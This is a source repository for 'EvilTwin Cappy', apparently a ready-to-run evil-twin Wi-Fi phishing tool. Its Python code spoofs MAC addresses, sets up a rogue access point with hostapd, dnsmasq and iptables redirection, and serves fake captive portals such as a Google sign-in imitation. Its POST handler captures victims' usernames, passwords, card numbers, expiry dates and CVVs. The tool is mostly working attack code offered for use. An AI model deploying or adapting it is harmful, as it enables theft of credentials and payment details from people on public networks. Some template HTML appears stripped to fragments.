├── __init__.py
├── templates
├── google
│ ├── action.html
│ └── index.html
├── mrhacker
│ ├── static
│ │ └── mrhacker.png
│ ├── action.html
│ └── index.html
├── mcd
│ ├── action.html
│ └── index.html
└── Valentines
│ ├── action.html
│ └── index.html
├── cappycore
├── __init__.py
├── colors.py
└── captive.py
├── Cappy
├── setup.py
└── README.md
/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/templates/google/action.html:
--------------------------------------------------------------------------------
1 |
11 |
12 | **Evil Twin** is a phishing technique categorized under network attacks, it involves the creation of a **rogue wireless access point (AP)** that masquerades as a legitimate network, such as a public Wi-Fi hotspot or a familiar network with a captive portal, to deceive users into connecting and unknowingly divulging their sensitive login credentials and other personal information transmitted over the compromised connection.
13 |
14 |
15 |
399 |
400 |
401 |
Sign in
402 |
Use your Google Account
403 |
421 |
422 |
423 |
426 |
427 | Not your computer? Use Guest mode to sign in privately.
428 | Learn more
429 |
430 |
431 |
443 |
444 |
445 |
446 |
447 |
--------------------------------------------------------------------------------
/cappycore/captive.py:
--------------------------------------------------------------------------------
1 | # EvilTwin Cappy
2 | # by FLOCK4H
3 | # v1.0.0
4 |
5 | import os, shutil, time, sys, subprocess, json
6 | from .colors import wprint, ColorCodes, iprint, cprint, cinput
7 | from http.server import SimpleHTTPRequestHandler, HTTPServer
8 | import threading
9 | import random
10 |
11 | cc = ColorCodes()
12 |
13 | script_dir = "/usr/local/share/Cappy"
14 |
15 | def random_mac_address():
16 | mac = [0x00, 0x16, 0x3e,
17 | random.randint(0x00, 0x7f),
18 | random.randint(0x00, 0xff),
19 | random.randint(0x00, 0xff)]
20 | return ':'.join(map(lambda x: f"{x:02x}", mac))
21 |
22 | def change_mac_address(interface):
23 | new_mac = random_mac_address()
24 | try:
25 | subprocess.run(['sudo', 'ifconfig', interface, 'down'], check=True)
26 | subprocess.run(['sudo', 'ifconfig', interface, 'hw', 'ether', new_mac], check=True)
27 | subprocess.run(['sudo', 'ifconfig', interface, 'up'], check=True)
28 | cprint(f"MAC address for {interface} changed to {new_mac}")
29 | time.sleep(1.2)
30 | except subprocess.CalledProcessError as e:
31 | print(f"Failed to change MAC address: {e}")
32 |
33 | def check_dependencies(dependencies):
34 | for dep in dependencies:
35 | result = subprocess.run(["which", dep], capture_output=True, text=True)
36 | if result.returncode != 0:
37 | wprint(f"{dep} is not installed. Please install {dep} and try again.")
38 | install = cinput(f"Install {dep} now? (Y/n)")
39 | if install.lower() == "y":
40 | if dep == "lighttpd":
41 | os.system("sudo apt-get update")
42 | os.system(f"sudo apt-get install {dep}")
43 | cprint(f"{dep} successfully installed!")
44 | time.sleep(1.5)
45 | else:
46 | iprint(f"{dep} is installed.")
47 | time.sleep(0.2)
48 |
49 | def mod_path(path, mod="copy"):
50 | if mod == "ren" and os.path.exists(f"{path}.copy"):
51 | os.remove(path)
52 | shutil.move(f"{path}.copy", path)
53 |
54 | if os.path.exists(path):
55 | shutil.copy(path, f"{path}.copy")
56 |
57 | def safecall(cmd, post_scriptum=""):
58 | result = os.system(cmd)
59 | if result != 0:
60 | if post_scriptum == "dnsmasq_issue":
61 | print(f"{cc.BLUE}Running 'sudo apt-get install dnsmasq' to fix dnsmasq!")
62 | os.system(f"sudo apt-get install dnsmasq")
63 | print(f"{cc.YELLOW}Catched command failure, but {cc.GREEN}continuing{cc.YELLOW}: {cmd}{cc.RESET}")
64 | return result
65 |
66 | def delete_iptables_rule(table, rule):
67 | check_command = f"sudo iptables -t {table} -C {rule}"
68 | delete_command = f"sudo iptables -t {table} -D {rule}"
69 | if safecall(check_command) == 0:
70 | safecall(delete_command)
71 |
72 | def ip_config(wlans):
73 | for wlan in wlans:
74 | iprint("Configuring IP adresses...")
75 | safecall(f"sudo ifconfig {wlan} 10.0.0.15 netmask 255.255.255.0 up")
76 | safecall(f"sudo sh -c \"echo 1 > /proc/sys/net/ipv4/ip_forward\"")
77 | safecall(f"sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
78 | safecall(f"sudo iptables -t nat -A PREROUTING -i {wlan} -p tcp --dport 80 -j DNAT --to-destination 10.0.0.15")
79 | safecall(f"sudo iptables -A FORWARD -i {wlan} -p tcp --dport 80 -d 10.0.0.15 -j ACCEPT")
80 |
81 | def handle_services():
82 | safecall("sudo systemctl unmask hostapd")
83 | cprint("Hostapd was unmasked...")
84 |
85 | safecall(f"sudo systemctl stop dnsmasq", "dnsmasq_issue")
86 | cprint("Stopped dnsmasq")
87 |
88 | safecall(f"sudo systemctl stop hostapd")
89 | cprint("Stopped hostapd")
90 |
91 | safecall(f"sudo systemctl daemon-reload")
92 | iprint("Starting dnsmasq...")
93 | safecall(f"sudo systemctl start dnsmasq", "dnsmasq_issue")
94 | time.sleep(2)
95 |
96 | def handle_networking(wlans):
97 | for wlan in wlans:
98 | safecall(f"sudo ifconfig {wlan} up")
99 | iprint("Restarting networking service...")
100 | safecall(f"sudo systemctl restart networking")
101 |
102 | class Adapter:
103 | def __init__(self, inf=["wlan0"]):
104 | self.interfaces = inf
105 | self.interface = inf[0]
106 | self.init_adapter()
107 |
108 | def init_adapter(self, mode="managed"):
109 | try:
110 | for interface in self.interfaces:
111 | os.system(f'sudo iwconfig {interface} mode {mode}')
112 | except Exception as e:
113 | wprint(f"Error while putting interface in monitor mode: {e}")
114 |
115 | class Config:
116 | def __init__(self, inf=None):
117 | self.run_config(inf=inf)
118 |
119 | def run_config(self, inf=None):
120 | cprint("Disconnecting from current network...")
121 | safecall(f"sudo nmcli device disconnect {inf[0] if inf else 'wlan0'}")
122 |
123 | if inf is None:
124 | inf = ["wlan0"]
125 |
126 | self.adapter = Adapter(inf=inf)
127 | self.wlan = self.adapter.interface
128 |
129 | mod_path(path="/etc/hostapd/hostapd.conf")
130 | mod_path(path="/etc/default/hostapd")
131 | mod_path(path="/etc/dnsmasq.conf")
132 | mod_path(path="/etc/network/interfaces")
133 | self.write_config(interface=self.wlan, ssid="Cappy!", channel=10)
134 |
135 | self.write_to_config("/etc/default/hostapd", f"DAEMON_CONF=/etc/hostapd/hostapd.conf")
136 | self.write_to_config("/etc/dnsmasq.conf", f"""interface={self.wlan}\ndhcp-range=10.0.0.20,10.0.0.150,12h""")
137 | self.write_to_config("/etc/network/interfaces", f"#")
138 |
139 | def write_config(self, **kwargs):
140 | interface = kwargs.pop("interface", "wlan0")
141 | driver = kwargs.pop("driver", "nl80211")
142 | ssid = kwargs.pop("ssid", "EvilTwin")
143 | hw_mode = kwargs.pop("hw_mode", "g")
144 | channel = str(kwargs.pop("channel", 10))
145 | macaddr_acl= kwargs.pop("macaddr_acl", "0")
146 | auth_algs = kwargs.pop("auth_algs", "1")
147 | ignore_broadcast_ssid = kwargs.pop("ignore_broadcast", "0")
148 |
149 | try:
150 | with open("/etc/hostapd/hostapd.conf", "w") as f:
151 | f.write(
152 | f"""interface={interface}
153 | driver={driver}
154 | ssid={ssid}
155 | hw_mode={hw_mode}
156 | channel={channel}
157 | macaddr_acl={macaddr_acl}
158 | auth_algs={auth_algs}
159 | ignore_broadcast_ssid={ignore_broadcast_ssid}
160 | logger_syslog=-1
161 | logger_syslog_level=0
162 | logger_stdout=-1
163 | logger_stdout_level=0
164 | """.lstrip()
165 | )
166 | except Exception as e:
167 | wprint(f'Error, couldn\'t save to the /etc/hostapd/hostapd.conf, {e}')
168 |
169 | def write_to_config(self, path, text):
170 | try:
171 | with open(path, "w") as f:
172 | f.write(text)
173 | except Exception as e:
174 | wprint(f'Error, couldn\'t save to the {path})')
175 |
176 | def shutdown_network(conf=None):
177 | print("")
178 | iprint("Stopping dnsmasq...")
179 | safecall(f"sudo systemctl stop dnsmasq")
180 | iprint("Stopping hostapd...")
181 | safecall(f"sudo systemctl stop hostapd")
182 |
183 | safecall(f"sudo systemctl daemon-reload")
184 | iprint("Changing back the IP settings...")
185 | safecall(f"sudo sh -c \"echo 0 > /proc/sys/net/ipv4/ip_forward\"")
186 | delete_iptables_rule(f"nat", f"POSTROUTING -o eth0 -j MASQUERADE")
187 | delete_iptables_rule(f"nat", f"PREROUTING -i {conf.wlan} -p tcp --dport 80 -j DNAT --to-destination 10.0.0.15")
188 | delete_iptables_rule(f"filter", f"FORWARD -i {conf.wlan} -p tcp --dport 80 -d 10.0.0.15 -j ACCEPT")
189 |
190 | mod_path(path="/etc/hostapd/hostapd.conf", mod="ren")
191 | mod_path(path="/etc/default/hostapd", mod="ren")
192 | mod_path(path="/etc/dnsmasq.conf", mod="ren")
193 | mod_path(path="/etc/network/interfaces", mod="ren")
194 | iprint("Original configs restored, restarting Network Manager..")
195 | safecall(f"sudo systemctl restart NetworkManager")
196 |
197 | class CaptivePortalHandler(SimpleHTTPRequestHandler):
198 | def do_GET(self):
199 | try:
200 | if self.path == '/hotspot-detect.html':
201 | self.path = '/index.html'
202 | elif self.path == '/action.html':
203 | self.path = '/action.html'
204 | elif not os.path.exists(self.path[1:]):
205 | self.path = '/index.html'
206 | return SimpleHTTPRequestHandler.do_GET(self)
207 | except Exception as e:
208 | self.send_error(500, f"Internal server error: {str(e)}")
209 |
210 | def do_POST(self):
211 | try:
212 | if self.path == '/action.html':
213 | content_length = int(self.headers['Content-Length'])
214 | post_data = self.rfile.read(content_length)
215 | fields = dict(x.split('=') for x in post_data.decode().split('&'))
216 | username = fields.get('username', '')
217 | password = fields.get('password', '')
218 | credit_card = fields.get('credit', '')
219 | expiry_date = fields.get('expire', '')
220 | cvv = fields.get('cvv', '')
221 | if credit_card == '':
222 | print(f"{cc.BRIGHT}{cc.GREEN}Captured credentials - {cc.BLUE}Username: {cc.WHITE}{username}, {cc.RED}Password: {cc.WHITE}{password}{cc.RESET}")
223 | else:
224 | print(f"{cc.BRIGHT}{cc.GREEN}Captured credentials - {cc.CYAN}Card number: {credit_card}, Expire date: {expiry_date}, CVV: {cvv}")
225 | self.send_response(200)
226 | self.send_header('Content-type', 'text/html')
227 | self.end_headers()
228 | with open('action.html', 'rb') as file:
229 | self.wfile.write(file.read())
230 | elif self.path == '/data':
231 | content_length = int(self.headers['Content-Length'])
232 | post_data = self.rfile.read(content_length)
233 | data = json.loads(post_data.decode())
234 | print(f"{cc.BRIGHT}{cc.GREEN}Collected Data: {cc.WHITE}{data}{cc.RESET}")
235 | self.send_response(200)
236 | self.send_header('Content-type', 'application/json')
237 | self.end_headers()
238 | self.wfile.write(json.dumps({'status': 'success'}).encode())
239 | else:
240 | self.send_response(404)
241 | self.end_headers()
242 | except Exception as e:
243 | self.send_error(500, f"Internal server error: {str(e)}")
244 |
245 | def handle_one_request(self):
246 | try:
247 | super().handle_one_request()
248 | except Exception as e:
249 | self.send_error(400, f"Bad request: {str(e)}")
250 |
251 |
252 | class WebServer:
253 | def __init__(self):
254 | server_thread = threading.Thread(target=self.start_captive_portal)
255 | server_thread.daemon = True
256 | server_thread.start()
257 |
258 | def get_template_name(self, template_dir):
259 | if os.path.exists(template_dir):
260 | templates = os.listdir(template_dir)
261 | cprint("Listing templates...")
262 | for i, item in enumerate(templates):
263 | cprint(f"{i}) {item}")
264 | temp_num = int(cinput("Enter template number"))
265 | if 0 <= temp_num < len(templates):
266 | return templates[temp_num]
267 | return None
268 |
269 | def start_captive_portal(self):
270 | templates_dir = f"{script_dir}/templates"
271 | if not os.path.exists(templates_dir):
272 | os.makedirs(templates_dir, exist_ok=True)
273 | choice_template = self.get_template_name(templates_dir)
274 | if choice_template:
275 | os.chdir(os.path.join(templates_dir, choice_template))
276 | handler = CaptivePortalHandler
277 | httpd = HTTPServer(("10.0.0.15", 80), handler)
278 | iprint("Serving captive portal on {}http://10.0.0.15:80 {}".format(cc.GREEN, cc.RESET))
279 | print(cc.LIGHT_BLUE, cc.BRIGHT, "Evil Twin has started!", cc.BLUE)
280 | httpd.serve_forever()
281 | else:
282 | print("No valid template selected. Exiting.")
283 |
284 | class Cappy:
285 | def __init__(self):
286 | cprint("Checking dependencies..")
287 | check_dependencies(["dnsmasq", "lighttpd", "hostapd"])
288 | self.check_dirs()
289 | self.run_cappy()
290 |
291 | def check_dirs(self):
292 | if not os.path.exists("/usr/local/share/Cappy/templates"):
293 | cprint("Creating templates dir...")
294 | os.makedirs("/usr/local/share/Cappy/templates")
295 | templates = ["Valentines", "mrhacker", "google", "mcd"]
296 | for template in templates:
297 | shutil.copytree(f"templates/{template}", f"/usr/local/share/Cappy/templates/{template}")
298 |
299 | def run_cappy(self):
300 | try:
301 | interfaces = get_interface()
302 | show_interfaces(interfaces)
303 | self.interface = self.set_wlan_interface(interfaces)
304 | for interface in self.interface:
305 | change_mac_address(interface)
306 | self.buy_orange_cappy()
307 | action = self.read_cappy_composition()
308 | self.template_path = "/usr/local/share/Cappy/templates"
309 | self.drink_healthy_juice(action)
310 | except KeyboardInterrupt:
311 | wprint("\nExiting..\n")
312 | sys.exit(0)
313 |
314 | def take_off_the_plastic_cap(self):
315 | self.buy_orange_cappy()
316 | action = self.read_cappy_composition()
317 | self.drink_healthy_juice(action)
318 |
319 | def break_the_label(self, **kwargs):
320 | # Writing _config
321 | def_app = kwargs.pop('default_app', "mousepad")
322 | write = kwargs.pop('write', False)
323 | read = kwargs.pop('read', False)
324 | _config = f"{script_dir}/_config"
325 |
326 | if write:
327 | try:
328 | with open(_config, "w") as f:
329 | f.write(f"DEFAULT_APP={def_app}\n")
330 | cprint("_config created in {}".format(_config))
331 | except Exception as e:
332 | wprint("Failed to break the label of the cappy juice! {}".format(e))
333 | elif read:
334 | try:
335 | with open(_config, "r") as f:
336 | data = f.read()
337 | return str(data)
338 | except Exception as e:
339 | wprint("Failed to break the label of the cappy juice! {}".format(e))
340 |
341 | def buy_orange_cappy(self):
342 | os.system('clear')
343 | print(f"""
344 | {cc.ORANGE} _
345 | {cc.GREEN} |c| {cc.ORANGE}┏┓
346 | {cc.ORANGE}.'a`. {cc.ORANGE}┃ ┏┓┏┓┏┓┓┏
347 | {cc.GREEN}| p | {cc.ORANGE}┗┛┗┻┣┛┣┛┗┫
348 | {cc.ORANGE}| p | {cc.ORANGE} ┛ ┛ ┛
349 | {cc.ORANGE}|_y_| {cc.BRIGHT}{cc.GREEN}healthy diet, {cc.RED}happy{cc.GREEN} stomach.{cc.RESET}
350 | {cc.BRIGHT}{cc.MAGENTA}by FLOCK4H{cc.RESET}
351 | """)
352 | time.sleep(1)
353 |
354 | def read_cappy_composition(self):
355 | actions = {1: "Start", 2: "Create Template", 3: "Edit Template", 4: "Remove Template", 5: "List Templates"}
356 | for index, action in actions.items():
357 | cprint(f"{index}) {action}")
358 | decision = cinput(f"{cc.BRIGHT}[CAPPY]", color=cc.CYAN)
359 | return decision
360 |
361 | def throw_away_plastic_bottle(self):
362 | pass
363 |
364 | def drink_healthy_juice(self, action):
365 | if action == "1":
366 | return
367 | elif action == "2":
368 | name = cinput("Name the template")
369 | self.create_new_template(name)
370 | iprint("Template created! Path: /usr/local/share/3way/templates/{} \ Name: {}".format(name, name))
371 | time.sleep(2)
372 | elif action == "3":
373 | self.mod_template("edit")
374 | elif action == "4":
375 | self.mod_template("remove")
376 | elif action == "5":
377 | self.mod_template("list")
378 |
379 | self.take_off_the_plastic_cap()
380 |
381 | def mod_template(self, mod):
382 | if mod == "edit":
383 | if not os.path.exists(f"{script_dir}/_config"):
384 | self.break_the_label(write=True)
385 | self.default_app = self.break_the_label(read=True).replace("DEFAULT_APP=", "")
386 | name = cinput("Enter name of the template to edit")
387 | template_path = f"{self.template_path}/{name}"
388 | try:
389 | if os.path.exists(template_path):
390 | cprint(f"Found the template! Using {self.default_app} to edit, press Ctrl+C to change the default program.")
391 | time.sleep(2)
392 | cmd = f"{self.default_app} {template_path}/index.html".replace("\n", "").strip(" ")
393 | cprint(cmd)
394 | time.sleep(2)
395 | os.system(cmd)
396 | else:
397 | wprint("Couldn't find the template of name {}".format(name))
398 | except KeyboardInterrupt:
399 | name = cinput("Enter name of a program to set as default (e.g., nano, code, geany, thonny)")
400 | self.break_the_label(write=True, def_app=name)
401 | iprint("Changes applied, restart the app.")
402 | sys.exit(0)
403 | elif mod == "list":
404 | for item in os.listdir(self.template_path):
405 | cprint(item)
406 | time.sleep(3)
407 | elif mod == "remove":
408 | name = cinput("Name of the template to remove")
409 | for item in os.listdir(self.template_path):
410 | if item == name.strip():
411 | shutil.rmtree(os.path.join(self.template_path, item))
412 | iprint("Successfully removed {} template.".format(name))
413 | time.sleep(2)
414 | return
415 | wprint("Coulnd't find a template with this name")
416 | time.sleep(1.5)
417 |
418 | def create_new_template(self, name):
419 | try:
420 | if not os.path.exists(f"{self.template_path}/{name}"):
421 | os.makedirs(f"{self.template_path}/{name}")
422 | with open(f"{self.template_path}/{name}/index.html", "w") as f:
423 | f.write("
Here put the HTML content of the site, this file is the first site that user will see after associating.
")
424 | with open(f"{self.template_path}/{name}/action.html", "w") as f:
425 | f.write("""
426 |
429 | Hello!
430 |
""")
431 |
432 | except Exception as e:
433 | wprint("Exception in 'create_new_template'", e)
434 |
435 | def set_wlan_interface(self, infs):
436 | try:
437 | choice = cinput('Choose interface/s')
438 | selected_indexes = [int(index.strip()) - 1 for index in choice.split(",")]
439 | wlan = [infs[index][0] for index in selected_indexes if index < len(infs)]
440 | wlan = wlan if wlan else ["Invalid choice"]
441 | cprint(f'Chosen interface(s): {", ".join(wlan)}, flying away..')
442 | time.sleep(1)
443 | return wlan
444 | except Exception as e:
445 | cprint(f'Something went wrong! Please try again: {e}', cc.ORANGE)
446 | time.sleep(2)
447 | self.set_wlan_interface()
448 |
449 | def get_driver_name(iface):
450 | try:
451 | driver_info = subprocess.check_output(f'ethtool -i {iface} 2>/dev/null', shell=True, encoding='utf-8').strip()
452 | for line in driver_info.split('\n'):
453 | if line.startswith('driver:'):
454 | return line.split(':')[1].strip()
455 | except subprocess.CalledProcessError:
456 | return "Unknown"
457 |
458 | def get_interface():
459 | os.system("clear")
460 | print(f"""{cc.BRIGHT}
461 | \t\t\t┏┓
462 | \t\t\t┃ ┏┓┏┓┏┓┓┏
463 | \t\t\t┗┛┗┻┣┛┣┛┗┫
464 | \t\t\t ┛ ┛ ┛
465 | \t\t{cc.BLUE}{cc.BLINK} SETUP YOUR WLAN CARD{cc.RESET}
466 |
467 | """)
468 | iprint("Listing network interfaces...\n")
469 | try:
470 | output = subprocess.check_output('iwconfig', stderr=subprocess.STDOUT, shell=True, encoding='utf-8').strip()
471 | except subprocess.CalledProcessError as e:
472 | print("Error executing iwconfig:", e)
473 | return []
474 |
475 | iface_details = []
476 | iface_name = ''
477 | mode = ''
478 | for line in output.split('\n'):
479 | if line and not line.startswith(' '):
480 | if iface_name:
481 | driver_name = get_driver_name(iface_name)
482 | iface_details.append((iface_name, driver_name, mode))
483 | iface_name = line.split()[0]
484 | mode = ''
485 | elif 'Mode:' in line:
486 | mode = line.split('Mode:')[1].split()[0]
487 |
488 | if iface_name:
489 | driver_name = get_driver_name(iface_name)
490 | iface_details.append((iface_name, driver_name, mode))
491 |
492 | return iface_details
493 |
494 | def show_interfaces(interfaces):
495 | max_len_iface = max(len(iface[0]) for iface in interfaces) if interfaces else 0
496 | max_len_driver = max(len(iface[1]) for iface in interfaces) if interfaces else 0
497 |
498 | print(f"""{cc.GREEN}{cc.BRIGHT}ID Name Driver Mode{cc.RESET}""")
499 | print(f"{cc.GREEN}──────────────────────────────────────────────────────{cc.RESET}")
500 | for index, (iface, driver, mode) in enumerate(interfaces, start=1):
501 | formatted_iface = f"{cc.BRIGHT}{cc.BLUE}{index}) {iface.ljust(max_len_iface)} {driver.ljust(max_len_driver)} {mode}"
502 | print(formatted_iface)
503 | print(f"{cc.GREEN}──────────────────────────────────────────────────────{cc.RESET}")
504 |
--------------------------------------------------------------------------------